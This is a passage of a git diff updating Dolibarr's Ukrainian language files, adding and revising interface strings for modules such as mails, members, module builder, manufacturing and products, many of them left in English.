крок недоступний. Щоб ігнорувати помилки, ви можете клацнути тут , але програма або деякі функції можуть не працювати належним чином, доки помилки не будуть усунені. YouTryInstallDisabledByDirLock=Програма намагалася самостійно оновити, але сторінки встановлення/оновлення було вимкнено з міркувань безпеки (каталог перейменовано із суфіксом .lock).
      YouTryInstallDisabledByFileLock=Програма намагалася самостійно оновити, але сторінки встановлення/оновлення були вимкнені з міркувань безпеки (через наявність файлу блокування install.lock у каталозі документів dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Натисніть тут, щоб перейти до вашої програми ClickOnLinkOrRemoveManualy=Якщо оновлення триває, зачекайте. Якщо ні, натисніть на наступне посилання. Якщо ви завжди бачите цю саму сторінку, ви повинні видалити/перейменувати файл install.lock у каталозі документів. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Завантажено FunctionTest=Функціональний тест +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/uk_UA/interventions.lang b/htdocs/langs/uk_UA/interventions.lang index 575d5f9f108..87f811c5751 100644 --- a/htdocs/langs/uk_UA/interventions.lang +++ b/htdocs/langs/uk_UA/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Приховує години та хвилини InterventionStatistics=Статистика втручань NbOfinterventions=№ інтервенційних карток NumberOfInterventionsByMonth=Кількість карток інтервенцій за місяцями (дата підтвердження) -AmountOfInteventionNotIncludedByDefault=Сума інтервенції за замовчуванням не включається до прибутку (у більшості випадків для підрахунку витраченого часу використовуються табелі обліку робочого часу). Додайте опцію PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT до 1 у home-setup-other, щоб включити їх. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Ідентифікатор втручання InterRef=Втручання ref. InterDateCreation=Втручання щодо створення дати @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Ви впевнені, що хочете знову в GenerateInter=Створення втручання FichinterNoContractLinked=Втручання %s створено без пов’язаного контракту. ErrorFicheinterCompanyDoesNotExist=Компанія не існує. Втручання не створено. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/uk_UA/loan.lang b/htdocs/langs/uk_UA/loan.lang index 3c19217d478..d56a8ab0944 100644 --- a/htdocs/langs/uk_UA/loan.lang +++ b/htdocs/langs/uk_UA/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Ви не можете змінити відсотки, якщо використовуєте розклад # Admin ConfigLoan=Конфігурація модульної позики -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Обліковий капітал за замовчуванням -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Бухгалтерський рахунок процентів за замовчуванням -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Страхування бухгалтерського рахунку за замовчуванням +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Відредагувати фінансові зобов'язання diff --git a/htdocs/langs/uk_UA/mailmanspip.lang b/htdocs/langs/uk_UA/mailmanspip.lang index 83de047d099..3efd9cb1491 100644 --- a/htdocs/langs/uk_UA/mailmanspip.lang +++ b/htdocs/langs/uk_UA/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Тест підписки виконано успішно MailmanDeletionSuccess=Тест скасування підписки виконано успішно SynchroMailManEnabled=Буде виконано оновлення Mailman SynchroSpipEnabled=Буде виконано оновлення Spip -DescADHERENT_MAILMAN_ADMINPW=Пароль адміністратора Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL-адреса для підписок на Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL для скасування підписки на Mailman DescADHERENT_MAILMAN_LISTS=Список(и) для автоматичного внесення нових учасників (розділені комою) diff --git a/htdocs/langs/uk_UA/mails.lang b/htdocs/langs/uk_UA/mails.lang index d871103f853..d61b9e833bb 100644 --- a/htdocs/langs/uk_UA/mails.lang +++ b/htdocs/langs/uk_UA/mails.lang @@ -7,10 +7,10 @@ MailCard=Картка електронної пошти MailRecipients=Одержувачі MailRecipient=одержувач MailTitle=Опис -MailFrom=Відправник +MailFrom=Продавець MailErrorsTo=Помилки до MailReply=Відповісти -MailTo=приймач(и) +MailTo=Покупець MailToUsers=Користувачам MailCC=Копіювати до MailToCCUsers=Копіювати користувачам @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Контакти за посадою MailingModuleDescEmailsFromFile=Електронні листи з файлу MailingModuleDescEmailsFromUser=Електронні листи, введені користувачем MailingModuleDescDolibarrUsers=Користувачі з електронною поштою -MailingModuleDescThirdPartiesByCategories=Треті сторони (за категоріями) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Відправлення з веб-інтерфейсу заборонено. EmailCollectorFilterDesc=Усі фільтри мають збігатися, щоб отримати електронний лист @@ -178,3 +178,5 @@ IsAnAnswer=Це відповідь на початковий електронн RecordCreatedByEmailCollector=Запис, створений збирачем електронної пошти %s з електронної пошти %s DefaultBlacklistMailingStatus=Значення за замовчуванням для поля '%s' під час створення нового контакту DefaultStatusEmptyMandatory=Порожній, але обов’язковий +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/uk_UA/main.lang b/htdocs/langs/uk_UA/main.lang index a06f684a5b0..8595f4c269b 100644 --- a/htdocs/langs/uk_UA/main.lang +++ b/htdocs/langs/uk_UA/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=freemono FONTSIZEFORPDF=8 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Немає шаблону для цього типу елек AvailableVariables=Доступні змінні заміни NoTranslation=Немає перекладу Translation=Переклад +Translations=Translations CurrentTimeZone=PHP TimeZone (сервер) EmptySearchString=Введіть не порожні критерії пошуку EnterADateCriteria=Введіть критерії дати @@ -199,6 +206,7 @@ Valid=Дійсний Approve=Затвердити Disapprove=Не схвалювати ReOpen=Відкрити повторно +OpenVerb=Open Upload=Завантажити ToLink=Посилання Select=Виберіть @@ -216,8 +224,9 @@ UserGroup=Група користувачів UserGroups=Групи користувачів NoUserGroupDefined=Група користувачів не визначена Password=Пароль -PasswordRetype=Повторно введіть пароль +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Зауважте, що багато функцій/модулів вимкнено в цій демонстрації. +YourUserFile=Your user file Name=Ім'я NameSlashCompany=Назва / Компанія Person=Особа @@ -481,6 +490,7 @@ ActionsOnContact=Події для цього контакту/адреси ActionsOnContract=Події для цього договору ActionsOnMember=Події про цього учасника ActionsOnProduct=Події про цей продукт +ActionsOnAsset=Events for this fixed asset NActionsLate=%s пізно ToDo=Зробити Completed=Завершено @@ -888,6 +898,9 @@ MassFilesArea=Область для файлів, створених за доп ShowTempMassFilesArea=Показати область файлів, створених масовими діями ConfirmMassDeletion=Підтвердження масового видалення ConfirmMassDeletionQuestion=Ви впевнені, що хочете видалити %s вибраний запис(и)? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Пов'язані об'єкти ClassifyBilled=Класифікувати виставлений рахунок ClassifyUnbilled=Класифікувати без рахунків @@ -903,8 +916,8 @@ ExportFilteredList=Експортувати відфільтрований сп ExportList=Список експорту ExportOptions=Параметри експорту IncludeDocsAlreadyExported=Включити вже експортовані документи -ExportOfPiecesAlreadyExportedIsEnable=Експорт уже експортованих елементів увімкнено -ExportOfPiecesAlreadyExportedIsDisable=Експорт уже експортованих частин вимкнено +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Усі експортовані переміщення були записані як експортовані NotAllExportedMovementsCouldBeRecordedAsExported=Не всі експортовані переміщення можна записати як експортовані Miscellaneous=Різне @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Приватне посилання для скачу PrivateDownloadLinkDesc=Ви повинні увійти в систему та отримати дозвіл на перегляд або завантаження файлу Download=Завантажити DownloadDocument=Завантажити документ +DownloadSignedDocument=Download signed document ActualizeCurrency=Оновити курс валюти Fiscalyear=Фіскальний рік ModuleBuilder=Конструктор модулів і додатків @@ -1046,6 +1060,7 @@ SearchIntoContracts=Контракти SearchIntoCustomerShipments=Відправки клієнтам SearchIntoExpenseReports=Звіти про витрати SearchIntoLeaves=Залишати +SearchIntoKM=Knowledge base SearchIntoTickets=Заявки SearchIntoCustomerPayments=Виплати клієнтів SearchIntoVendorPayments=Платежі постачальників @@ -1117,6 +1132,7 @@ DeleteFileText=Ви дійсно хочете видалити цей файл? ShowOtherLanguages=Показати інші мови SwitchInEditModeToAddTranslation=Перейдіть у режим редагування, щоб додати переклади для цієї мови NotUsedForThisCustomer=Не використовується для цього клієнта +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Сума має бути додатною ByStatus=За статусом InformationMessage=Інформація @@ -1137,15 +1153,29 @@ EventReminder=Нагадування про подію UpdateForAllLines=Оновлення для всіх ліній OnHold=На утриманні Civility=Цивілізованість -AffectTag=Тег впливу +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Створити зовнішнього користувача -ConfirmAffectTag=Вплив масових тегів -ConfirmAffectTagQuestion=Ви впевнені, що хочете вплинути на теги для вибраних записів %s? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Не знайдено тип тегу для типу записів +Rate=Оцінити +SupervisorNotFound=Supervisor not found CopiedToClipboard=Скопійовано в буфер обміну InformationOnLinkToContract=Ця сума є лише підсумком усіх рядків договору. Поняття часу не враховується. ConfirmCancel=Ви впевнені, що хочете скасувати? EmailMsgID=Надіслати електронний лист MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Увімкнено SetToDisabled=Вимкнено ConfirmMassEnabling=підтвердження масового дозволу @@ -1174,9 +1204,21 @@ Terminated=Припинено AddLineOnPosition=Додати рядок до позиції (в кінці, якщо порожній) ConfirmAllocateCommercial=Призначте підтвердження торгового представника ConfirmAllocateCommercialQuestion=Ви впевнені, що хочете призначити %s вибраний запис(и)? -CommercialsAffected=Постраждали торгові представники -CommercialAffected=Постраждав торговий представник +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Внутрішній користувач +ExternalUser=Зовнішній користувач +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/uk_UA/members.lang b/htdocs/langs/uk_UA/members.lang index 9ec8c48ab53..c5a7c6d198e 100644 --- a/htdocs/langs/uk_UA/members.lang +++ b/htdocs/langs/uk_UA/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Another member (name: %s , ErrorUserPermissionAllowsToLinksToItselfOnly=З міркувань безпеки вам потрібно надати дозвіл редагувати всіх користувачів, щоб мати можливість пов’язувати учасника з іншим користувачем. SetLinkToUser=Посилання на користувача Dolibarr SetLinkToThirdParty=Посилання на третю сторону Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Генерація карток для учасників MembersList=Список членів MembersListToValid=Список членів проекту (підлягає підтвердженню) @@ -34,7 +35,8 @@ DateSubscription=Дата членства DateEndSubscription=Дата закінчення членства EndSubscription=Кінець членства SubscriptionId=Ідентифікатор внеску -WithoutSubscription=Без внеску +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Новий учасник @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=Тип члена не можна видалити NewSubscription=Новий внесок NewSubscriptionDesc=Ця форма дозволяє зареєструвати свою підписку як нового члена фонду. Якщо ви хочете поновити свою підписку (якщо вже є учасником), зверніться до ради фонду електронною поштою %s. Subscription=Внесок -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Внески SubscriptionLate=Пізно SubscriptionNotReceived=Внесок так і не отримав @@ -204,10 +206,12 @@ SubscriptionsStatistics=Статистика внесків NbOfSubscriptions=Кількість внесків AmountOfSubscriptions=Сума, зібрана з внесків TurnoverOrBudget=Оборот (для компанії) або бюджет (для фонду) -DefaultAmount=Сума внеску за замовчуванням -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Перейдіть на інтегровану сторінку онлайн-платежів +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Від природи MembersStatisticsByProperties=Статистика учасників за характером VATToUseForSubscriptions=Ставка ПДВ для внесків @@ -228,3 +232,4 @@ CreateDolibarrLoginDesc=Створення логіна користувача CreateDolibarrThirdPartyDesc=Третя сторона – це юридична особа, яка буде використовуватися в рахунку-фактурі, якщо ви вирішите створювати рахунок-фактуру для кожного внеску. Ви зможете створити його пізніше під час процесу запису внеску. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/uk_UA/modulebuilder.lang b/htdocs/langs/uk_UA/modulebuilder.lang index 057ecd40626..e9e55421862 100644 --- a/htdocs/langs/uk_UA/modulebuilder.lang +++ b/htdocs/langs/uk_UA/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=Цим інструментом повинні користуватися лише досвідчені користувачі або розробники. Він надає утиліти для створення або редагування вашого власного модуля. Документація для альтернативної розробки вручну знаходиться тут . EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Шлях, де генеруються/редагуються модулі (перший каталог для зовнішніх модулів, визначених як %s): %s ModuleBuilderDesc3=Знайдено створені/редаговані модулі: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Модуль визначається як «доступни NewModule=Новий модуль NewObjectInModulebuilder=Новий об'єкт NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Ключ модуля ObjectKey=Ключ об'єкта DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Шлях до zip пакета модуля/програми PathToModuleDocumentation=Шлях до файлу документації модуля/програми (%s) SpaceOrSpecialCharAreNotAllowed=Пробіли або спеціальні символи не допускаються. FileNotYetGenerated=Файл ще не згенерований +GenerateCode=Generate code RegenerateClassAndSql=Примусове оновлення файлів .class і .sql RegenerateMissingFiles=Згенерувати відсутні файли SpecificationFile=Файл документації LanguageFile=Файл для мови ObjectProperties=Властивості об'єкта +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Ви впевнені, що хочете видалити властивість %s ? Це змінить код у класі PHP, але також видалить стовпець із визначення об’єкта в таблиці. NotNull=Не NULL NotNullDesc=1=Встановити базу даних у значення NOT NULL, 0=Дозволити нульові значення, -1=Дозволити нульові значення шляхом примусового значення NULL, якщо порожнє ('' або 0) @@ -81,15 +86,16 @@ IsAMeasure=Є мірою DirScanned=Каталог відскановано NoTrigger=Без тригера NoWidget=Немає віджета -GoToApiExplorer=API Explorer +ApiExplorer=API explorer ListOfMenusEntries=Список пунктів меню ListOfDictionariesEntries=Список словникових статей ListOfPermissionsDefined=Список визначених дозволів SeeExamples=Дивіться приклади тут -EnabledDesc=Умова, щоб це поле було активним (приклади: 1 або $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Чи видно поле? (Приклади: 0=Ніколи не видно, 1=Відображається у списку та формах створення/оновлення/перегляду, 2=Відображається лише у списку, 3=Відображається лише під час створення/оновлення/перегляду форми (не в списку), 4=Відображається у списку та оновити/переглянути лише форму (не створити), 5=Відображається лише у формі кінцевого перегляду списку (не створювати, не оновлювати)

      Використання від’ємного значення означає, що поле не відображається за замовчуванням у списку, але його можна вибрати для перегляду).

      Це може бути вираз, наприклад:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      . -DisplayOnPdfDesc=Відображайте це поле на сумісних PDF-документах, ви можете керувати позицією за допомогою поля «Позиція».
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the опис лише якщо не порожній -DisplayOnPdf=Відображення в PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Чи можна сумувати значення поля, щоб отримати підсумок у списку? (Приклади: 1 або 0) SearchAllDesc=Чи використовується поле для пошуку за допомогою інструмента швидкого пошуку? (Приклади: 1 або 0) SpecDefDesc=Введіть сюди всю документацію, яку ви хочете надати зі своїм модулем, яка ще не визначена іншими вкладками. Ви можете використовувати .md або краще, багатий синтаксис .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Використовуйте конкретну URL-ад UseSpecificFamily = Використовуйте конкретну сім'ю UseSpecificAuthor = Використовуйте конкретного автора UseSpecificVersion = Використовуйте конкретну початкову версію -IncludeRefGeneration=Посилання на об'єкт має генеруватися автоматично за допомогою спеціальних правил нумерації +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Поставте прапорець, якщо ви хочете включити код для автоматичного керування створенням посилання за допомогою спеціальних правил нумерації -IncludeDocGeneration=Я хочу створити деякі документи з шаблонів для об’єкта +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Якщо ви поставите цей прапорець, буде створено деякий код, щоб додати до запису поле «Створити документ». -ShowOnCombobox=Показати значення у списку +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Ключ для підказки CSSClass=CSS для редагування/створення форми CSSViewClass=CSS для читання форми CSSListClass=CSS для списку NotEditable=Не можна редагувати ForeignKey=Зовнішній ключ -TypeOfFieldsHelp=Тип полів:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' означає, що ми додаємо кнопку + після комбінації для створення запису
      'фільтр' є умовою sql, наприклад: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED)_ENT. +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Конвертер Ascii в HTML AsciiToPdfConverter=Конвертер Ascii в PDF TableNotEmptyDropCanceled=Стіл не порожній. Викидання скасовано. ModuleBuilderNotAllowed=Конструктор модулів доступний, але не дозволений вашому користувачеві. ImportExportProfiles=Імпорт і експорт профілів -ValidateModBuilderDesc=Встановіть для цього значення 1, якщо ви хочете, щоб метод $this->validateField() об’єкта був викликаний для перевірки вмісту поля під час вставки або оновлення. Встановіть 0, якщо перевірка не потрібна. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Попередження: база даних не оновлюється автоматично, ви повинні знищити таблиці та вимкнути-ввімкнути модуль для відтворення таблиць LinkToParentMenu=Батьківське меню (fk_xxxxmenu) ListOfTabsEntries=Список записів вкладки TabsDefDesc=Визначте тут вкладки, надані вашим модулем TabsDefDescTooltip=Вкладки, надані вашим модулем/додатком, визначаються в масиві $this->tabs у файлі дескриптора модуля. Ви можете редагувати цей файл вручну або використовувати вбудований редактор. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/uk_UA/mrp.lang b/htdocs/langs/uk_UA/mrp.lang index 8b58e9fb5ff..b6c6da2fb0f 100644 --- a/htdocs/langs/uk_UA/mrp.lang +++ b/htdocs/langs/uk_UA/mrp.lang @@ -11,8 +11,8 @@ Bom=Специфікація матеріалів BillOfMaterials=Специфікація матеріалів BillOfMaterialsLines=Лінії переліку матеріалів BOMsSetup=Налаштування специфікації модуля -ListOfBOMs=Перелік технічних документів - BOM -ListOfManufacturingOrders=Список замовлень на виготовлення +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Нова специфікація матеріалів ProductBOMHelp=Продукт для створення (або розбирання) за допомогою цієї специфікації.
      Примітка. Продукти з властивістю «Природа продукту» = «Сировина» не відображаються в цьому списку. BOMsNumberingModules=Шаблони нумерації BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Ви впевнені, що хочете клону ConfirmCloneMo=Ви впевнені, що хочете клонувати замовлення на виробництво %s? ManufacturingEfficiency=Ефективність виробництва ConsumptionEfficiency=Ефективність споживання +Consumption=Consumption ValueOfMeansLoss=Значення 0,95 означає в середньому 5%% втрати під час виготовлення або розбирання ValueOfMeansLossForProductProduced=Значення 0,95 означає в середньому 5%% втрати виробленого продукту DeleteBillOfMaterials=Видалити специфікацію @@ -82,6 +83,7 @@ ProductsToProduce=Продукти для виробництва UnitCost=Вартість одиниці TotalCost=Загальна вартість BOMTotalCost=Витрати на виготовлення цієї специфікації на основі вартості кожної кількості та продукту для споживання (використовуйте собівартість, якщо визначено, інакше середню зважену ціну, якщо визначено, інакше найкращу закупівельну ціну) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Ви повинні спочатку розпочати виробництво, щоб закрити виробниче замовлення (див. вкладку '%s'). Але ви можете скасувати його. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Набір не може бути використаний у специфікації або МО Workstation=Робоча станція @@ -112,3 +114,7 @@ MOAndLines=Виробничі замовлення та лінії MoChildGenerate=Generate Child Mo ParentMo=MO Parent MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/uk_UA/products.lang b/htdocs/langs/uk_UA/products.lang index ddb0582d5b6..cf80c3e8f60 100644 --- a/htdocs/langs/uk_UA/products.lang +++ b/htdocs/langs/uk_UA/products.lang @@ -262,7 +262,7 @@ Quarter1=1-й Квартал Quarter2=2-е. Квартал Quarter3=3-й. Квартал Quarter4=4-й Квартал -BarCodePrintsheet=Роздрукувати штрих-код +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=За допомогою цього інструменту ви можете роздрукувати аркуші наклейок зі штрих-кодом. Виберіть формат сторінки з наклейками, тип штрих-коду та значення штрих-коду, потім натисніть кнопку %s . NumberOfStickers=Кількість наклейок для друку на сторінці PrintsheetForOneBarCode=Роздрукуйте кілька наклейок для одного штрих-коду @@ -345,7 +345,7 @@ PossibleValues=Можливі значення GoOnMenuToCreateVairants=Перейдіть до меню %s - %s, щоб підготувати варіанти атрибутів (наприклад, кольори, розмір, ...) UseProductFournDesc=Додайте функцію для визначення опису продукту, визначеного постачальниками (для кожного посилання на постачальника), на додаток до опису для клієнтів ProductSupplierDescription=Опис постачальника товару -UseProductSupplierPackaging=Використовуйте упаковку за цінами постачальника (перерахуйте кількість відповідно до упаковки, встановленої в ціні постачальника при додаванні/оновленні рядка в документах постачальника) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Упаковка PackagingForThisProductDesc=Ви автоматично придбаєте кратну цю кількість. QtyRecalculatedWithPackaging=Кількість лінії було перераховано відповідно до упаковки постачальника @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Дія доступна лише для ва ProductsPricePerCustomer=Ціни продукції за одного клієнта ProductSupplierExtraFields=Додаткові атрибути (ціни постачальників) DeleteLinkedProduct=Видаліть дочірній продукт, пов’язаний з комбінацією -AmountUsedToUpdateWAP=Сума для оновлення середньозваженої ціни +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Середньозважена ціна PMPValueShort=WAP mandatoryperiod=Обов'язкові періоди @@ -416,6 +416,7 @@ ProductsMergeSuccess=Продукти об’єднані ErrorsProductsMerge=Помилки в продуктах злиття SwitchOnSaleStatus=Увімкнути статус продажу SwitchOnPurchaseStatus=Увімкніть статус покупки +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Додаткові поля (рух акцій) InventoryExtraFields= Додаткові поля (інвентар) ScanOrTypeOrCopyPasteYourBarCodes=Скануйте або введіть або 